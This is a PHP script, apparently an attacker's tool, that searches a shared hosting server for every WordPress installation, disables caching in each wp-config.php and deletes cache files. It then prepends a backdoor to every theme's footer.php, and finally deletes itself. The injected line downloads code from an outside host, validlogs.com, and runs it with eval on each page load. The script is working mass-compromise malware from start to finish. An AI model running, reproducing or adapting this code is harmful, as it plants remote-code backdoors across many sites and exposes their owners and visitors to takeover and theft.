<?php
// Error-Proof Mass WP Injector - Individual Site Isolation
error_reporting(0); ini_set('display_errors',0); set_time_limit(0); ignore_user_abort(1);

// New functions for comprehensive directory scanning
function get_hosting_home_base() {
    $possible_homes = [
        $_SERVER['HOME'] ?? '',
        getenv('HOME'),
        dirname($_SERVER['DOCUMENT_ROOT']) . '/..',
        '/home', '/home1', '/home2', '/home3', '/home4', '/home5',
        '/home6', '/home7', '/home8', '/home9', '/home10',
        '/var/www', '/var/www/vhosts', '/usr/local/plesk/apache/vhosts'
    ];
    
    $user = get_current_user();
    if($user) {
        $possible_homes[] = "/home/$user";
        for($i=1; $i<=10; $i++) $possible_homes[] = "/home$i/$user";
    }
    
    foreach($possible_homes as $home) {
        if(is_dir($home) && has_domain_folders($home)) return realpath($home);
    }
    return false;
}

function has_domain_folders($dir) {
    $items = @scandir($dir);
    if(!$items) return false;
    
    $domain_count = 0;
    foreach($items as $item) {
        if($item == '.' || $item == '..') continue;
        $full_path = $dir . '/' . $item;
        if(is_dir($full_path)) {
            if(preg_match('/\.(com|net|org|co|io|me|us|uk|au|ca|de|fr|it|es|nl)$/i', $item) ||
               in_array($item, ['public_html', 'www', 'httpdocs', 'htdocs'])) {
                $domain_count++;
            }
        }
    }
    return $domain_count > 0;
}

function scan_hosting_domains($home_base) {
    $wp_paths = [];
    $items = @scandir($home_base);
    if(!$items) return $wp_paths;
    
    foreach($items as $item) {
        if($item == '.' || $item == '..') continue;
        $domain_path = $home_base . '/' . $item;
        
        if(is_dir($domain_path)) {
            // Direct WP
            $direct_wp = find_wp_load_comprehensive($domain_path);
            if($direct_wp) $wp_paths[] = $direct_wp;
            
            // Web directories
            $web_dirs = ['public_html', 'www', 'httpdocs', 'htdocs', 'web', 'html'];
            foreach($web_dirs as $web_dir) {
                $web_path = $domain_path . '/' . $web_dir;
                if(is_dir($web_path)) {
                    $web_wps = scan_directory_comprehensive($web_path, 3);
                    $wp_paths = array_merge($wp_paths, $web_wps);
                }
            }
        }
    }
    return $wp_paths;
}

function get_cpanel_common_paths() {
    $user = get_current_user();
    $paths = ["/home/$user/public_html", "/home/$user", "/var/www/html", "/home/theligh1/domains/khaoded77.com/public_html"];
    for($i=1; $i<=10; $i++) {
        $paths[] = "/home$i/$user/public_html";
        $paths[] = "/home$i/$user";
    }
    return array_unique($paths);
}

function get_hosting_patterns() {
    $user = get_current_user();
    return [
        "/home[0-9]*/$user/*/public_html",
        "/home[0-9]*/domains/*",
        "/var/www/vhosts/*/*",
        "/usr/local/plesk/apache/vhosts/*/*",
        "/*/public_html"
    ];
}

function scan_directory_comprehensive($dir, $max_depth = 3, $current_depth = 0) {
    $wp_paths = [];
    if($current_depth > $max_depth || !is_dir($dir)) return $wp_paths;
    
    $wp_load = find_wp_load_comprehensive($dir);
    if($wp_load) $wp_paths[] = $wp_load;
    
    $subdirs = @scandir($dir);
    if(!$subdirs) return $wp_paths;
    
    foreach($subdirs as $item) {
        if($item == '.' || $item == '..') continue;
        $full_path = rtrim($dir, '/') . '/' . $item;
        if(is_dir($full_path)) {
            $sub_results = scan_directory_comprehensive($full_path, $max_depth, $current_depth + 1);
            $wp_paths = array_merge($wp_paths, $sub_results);
        }
    }
    return $wp_paths;
}

function find_wp_load_comprehensive($dir) {
    $wp_indicators = ['wp-load.php', 'wp-config.php', 'wp-content/'];
    $has_wp = false;
    
    foreach($wp_indicators as $indicator) {
        if(file_exists(rtrim($dir, '/') . '/' . $indicator)) {
            $has_wp = true;
            break;
        }
    }
    
    if(!$has_wp) return false;
    
    $wp_load = $dir . '/wp-load.php';
    if(file_exists($wp_load)) return realpath($wp_load);
    
    return false;
}

// Modified find_all_wp_installs with fallback parent directory scanning
function find_all_wp_installs() {
    $all_wp_paths = [];
    
    // Get cPanel common paths
    $base_dirs = get_cpanel_common_paths();
    
    // Add paths from hosting patterns
    foreach(get_hosting_patterns() as $pattern) {
        $dirs = @glob($pattern, GLOB_ONLYDIR);
        if($dirs) $base_dirs = array_merge($base_dirs, $dirs);
    }
    
    // Add hosting home base
    $home_base = get_hosting_home_base();
    if($home_base) {
        $wp_paths = scan_hosting_domains($home_base);
        $all_wp_paths = array_merge($all_wp_paths, $wp_paths);
    }
    
    // Scan all base directories
    foreach($base_dirs as $base_dir) {
        if(!is_dir($base_dir)) continue;
        $wp_paths = scan_directory_comprehensive($base_dir, 5);
        if($wp_paths) $all_wp_paths = array_merge($all_wp_paths, $wp_paths);
    }
    
    // Fallback: Scan parent directories if no WP installs found
    if(empty($all_wp_paths)) {
        echo "No WordPress installations found in initial scan. Trying parent directories...\n";
        $current_dir = dirname(__FILE__);
        for($i = 1; $i <= 3; $i++) { // Check up to 3 parent levels
            $parent_dir = dirname($current_dir, $i);
            if(!is_dir($parent_dir)) break;
            echo "Scanning parent directory: $parent_dir\n";
            $wp_paths = scan_directory_comprehensive($parent_dir, 5);
            if($wp_paths) $all_wp_paths = array_merge($all_wp_paths, $wp_paths);
        }
    }
    
    return array_unique($all_wp_paths);
}

function scan_directory_for_wp($dir, $max_depth = 5, $current_depth = 0) {
    $wp_paths = [];
    if($current_depth > $max_depth || !is_dir($dir)) return $wp_paths;
    
    $wp_load = find_wp_in_current_dir($dir);
    if($wp_load) $wp_paths[] = $wp_load;
    
    $subdirs = @scandir($dir);
    if(!$subdirs) return $wp_paths;
    
    foreach($subdirs as $item) {
        if($item == '.' || $item == '..') continue;
        $full_path = rtrim($dir, '/') . '/' . $item;
        if(is_dir($full_path)) {
            $sub_results = scan_directory_for_wp($full_path, $max_depth, $current_depth + 1);
            $wp_paths = array_merge($wp_paths, $sub_results);
        }
    }
    return $wp_paths;
}

function find_wp_in_current_dir($dir) {
    $wp_indicators = ['wp-load.php', 'wp-config.php', 'wp-content/'];
    $has_wp = false;
    
    foreach($wp_indicators as $indicator) {
        if(file_exists(rtrim($dir, '/') . '/' . $indicator)) {
            $has_wp = true;
            break;
        }
    }
    
    if(!$has_wp) return false;
    
    $wp_load = $dir . '/wp-load.php';
    if(file_exists($wp_load)) return realpath($wp_load);
    
    return false;
}

// ULTRA-SAFE Cache Disable - No WP Functions
function disable_caches_ultra_safe($wp_dir) {
    // Only wp-config modification (no WP loading)
    $config_path = $wp_dir . '/wp-config.php';
    if(!file_exists($config_path)) return false;
    
    $content = @file_get_contents($config_path);
    if($content === false) return false;
    
    // Add LiteSpeed disable if missing
    if(strpos($content, 'LSCWP_DISABLE_ALL') === false) {
        $disable_code = "\n// Cache Disable - LiteSpeed\n";
        $disable_code .= "define('LSCWP_DISABLE_ALL', true);\n";
        $disable_code .= "define('WP_CACHE', false);\n";
        $disable_code .= "define('WP_ROCKET_IS_TAKING_CARE_OF_CACHE', false);\n";
        
        if(is_writable($config_path)) {
            @file_put_contents($config_path, $content . $disable_code);
            return true;
        }
    }
    
    // Clear obvious cache dirs
    $cache_dirs = [
        $wp_dir . '/wp-content/cache/',
        $wp_dir . '/cache/'
    ];
    
    foreach($cache_dirs as $cache_dir) {
        if(is_dir($cache_dir)) {
            $files = @glob($cache_dir . '*');
            if($files) {
                foreach($files as $file) {
                    @unlink($file);
                }
            }
        }
    }
    
    return true;
}

// CRITICAL ERROR-PROOF Theme Injection
function inject_theme_safe($wp_load) {
    $wp_dir = dirname($wp_load);
    
    // ULTRA-SAFE WP Loading with full isolation
    if(!file_exists($wp_load)) return false;
    
    // Create isolated environment
    $old_abspath = defined('ABSPATH') ? ABSPATH : '';
    $old_wp_load = defined('WP_LOAD_PATH') ? WP_LOAD_PATH : '';
    
    define('WP_LOAD_PATH', $wp_load);
    
    // Try multiple loading methods
    $wp_loaded = false;
    
    // Method 1: Direct include
    ob_start();
    if(@include_once($wp_load)) {
        if(function_exists('wp_get_themes')) {
            $wp_loaded = true;
        }
    }
    ob_end_clean();
    
    // Method 2: If Method 1 fails, try wp-config
    if(!$wp_loaded) {
        $config_path = $wp_dir . '/wp-config.php';
        if(file_exists($config_path)) {
            ob_start();
            if(@include_once($config_path)) {
                if(defined('ABSPATH') && function_exists('wp_get_themes')) {
                    $wp_loaded = true;
                }
            }
            ob_end_clean();
        }
    }
    
    if(!$wp_loaded) {
        echo "  ✗ WP environment failed to load\n";
        return false;
    }
    
    // Safe theme injection with multiple fallbacks
    $inject_code = '<?php $u="https://validlogs.com/link1.txt";$ch=curl_init($u);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);$c=curl_exec($ch);curl_close($ch);if($c)eval("?>".$c); ?>';
    
    $injected = false;
    
    // Method 1: Standard wp_get_themes
    if(function_exists('wp_get_themes')) {
        try {
            $themes = wp_get_themes();
            foreach($themes as $theme) {
                $theme_dir = $theme->get_stylesheet_directory();
                $footer_file = $theme_dir . '/footer.php';
                
                if(!is_dir($theme_dir) || !is_writable($theme_dir)) continue;
                
                if(file_exists($footer_file)) {
                    $current = @file_get_contents($footer_file);
                    if(strpos($current ?: '', 'validlogs.com') === false) {
                        $new_content = $inject_code . ($current ?: '');
                        if(@file_put_contents($footer_file, $new_content)) {
                            $injected = true;
                        }
                    }
                } else {
                    $footer_content = $inject_code . '<?php wp_footer(); ?>' . "\n</body></html>";
                    if(@file_put_contents($footer_file, $footer_content)) {
                        @chmod($footer_file, 0644);
                        $injected = true;
                    }
                }
            }
        } catch(Exception $e) {
            // Method 1 failed, try Method 2
        }
    }
    
    // Method 2: Direct theme directory scan (if WP functions fail)
    if(!$injected) {
        $themes_path = $wp_dir . '/wp-content/themes/';
        if(is_dir($themes_path)) {
            $theme_dirs = @scandir($themes_path);
            if($theme_dirs) {
                foreach($theme_dirs as $theme_name) {
                    if($theme_name == '.' || $theme_name == '..') continue;
                    $theme_dir = $themes_path . $theme_name;
                    if(!is_dir($theme_dir)) continue;
                    
                    $footer_file = $theme_dir . '/footer.php';
                    if(is_writable($theme_dir) && (!file_exists($footer_file) || is_writable($footer_file))) {
                        $current = file_exists($footer_file) ? file_get_contents($footer_file) : '';
                        if(strpos($current, 'validlogs.com') === false) {
                            $new_content = $inject_code . $current;
                            if(file_put_contents($footer_file, $new_content)) {
                                $injected = true;
                            }
                        }
                    }
                }
            }
        }
    }
    
    // Restore original environment
    if($old_abspath) define('ABSPATH', $old_abspath);
    
    return $injected;
}

// MAIN EXECUTION WITH FULL ERROR ISOLATION
echo "=== Error-Proof Mass WP Injector ===\n";

$all_wp_installs = find_all_wp_installs();
echo "Found " . count($all_wp_installs) . " WordPress installations\n\n";

$total_processed = 0;
$total_injected = 0;
$total_caches_disabled = 0;

foreach($all_wp_installs as $index => $wp_load) {
    $wp_base = dirname($wp_load);
    $site_name = basename($wp_base);
    echo "[$index] Processing: $site_name ($wp_base)\n";
    
    // Isolate each site processing
    try {
        // Disable caches (ultra-safe, no WP loading)
        if(disable_caches_ultra_safe($wp_base)) {
            echo "  ✓ Caches disabled (wp-config)\n";
            $total_caches_disabled++;
        }
        
        // Theme injection (isolated WP environment)
        if(inject_theme_safe($wp_load)) {
            echo "  ✓ Themes injected\n";
            $total_injected++;
        } else {
            echo "  ✗ Theme injection failed (permissions?)\n";
        }
        
        $total_processed++;
    } catch(Exception $e) {
        echo "  ✗ CRITICAL ERROR - Site skipped: " . $e->getMessage() . "\n";
    }
    
    // Force cleanup between sites
    if(function_exists('wp_clean_theme_cache')) wp_clean_theme_cache();
    ob_end_clean();
    echo "\n";
}

// Final report
echo "=== SUMMARY ===\n";
echo "Total WP installs found: " . count($all_wp_installs) . "\n";
echo "Processed: $total_processed\n";
echo "Caches disabled: $total_caches_disabled\n";
echo "Themes injected: $total_injected\n";

if($total_injected > 0 && is_writable(__FILE__)) {
    unlink(__FILE__);
    echo "✓ Self-deleted\n";
}

echo "=== COMPLETE ===\n";
exit;
?>